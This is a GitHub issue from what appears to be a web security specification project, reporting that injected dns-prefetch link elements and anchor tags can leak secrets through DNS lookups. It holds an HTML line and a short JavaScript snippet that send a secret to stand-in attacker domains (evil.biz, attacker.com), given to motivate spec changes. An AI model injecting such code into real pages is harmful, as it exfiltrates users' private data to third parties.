Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Leaks via DNS prefetching #62

Open
deian opened this issue May 17, 2016 · 0 comments
Open

Leaks via DNS prefetching #62

deian opened this issue May 17, 2016 · 0 comments

Comments

@deian
Copy link
Member

deian commented May 17, 2016

+@nandersson:

Looked into prefetching and added some checks for that. Would be good to add something along these lines to the standard.

Can use link element with different relations to leak information - https://html.spec.whatwg.org/multipage/semantics.html#linkTypes.

E.g. by injecting <link rel="dns-prefetch" href="http://<secret>.evil.biz">.
Firefox seems to automatically resolve (DNS) for anchor tags injected into the page as well.
Could leak information via TCP preconnect or HTTP req through these elements. Not specified in terms of fetch as far as I'm aware of.

var anchor = document.createElement('a');                                                  
anchor.href = 'http://' + window.secret + '.attacker.com';                                                    
var text = document.createTextNode('Innocent link');                                 
anchor.appendChild(text);                                                  
document.body.appendChild(anchor);  

Relates to #33

@deian deian changed the title Leaks via prefetching to add to spec Leaks via DNS prefetching May 17, 2016
@deian deian modified the milestone: post-v1 May 18, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant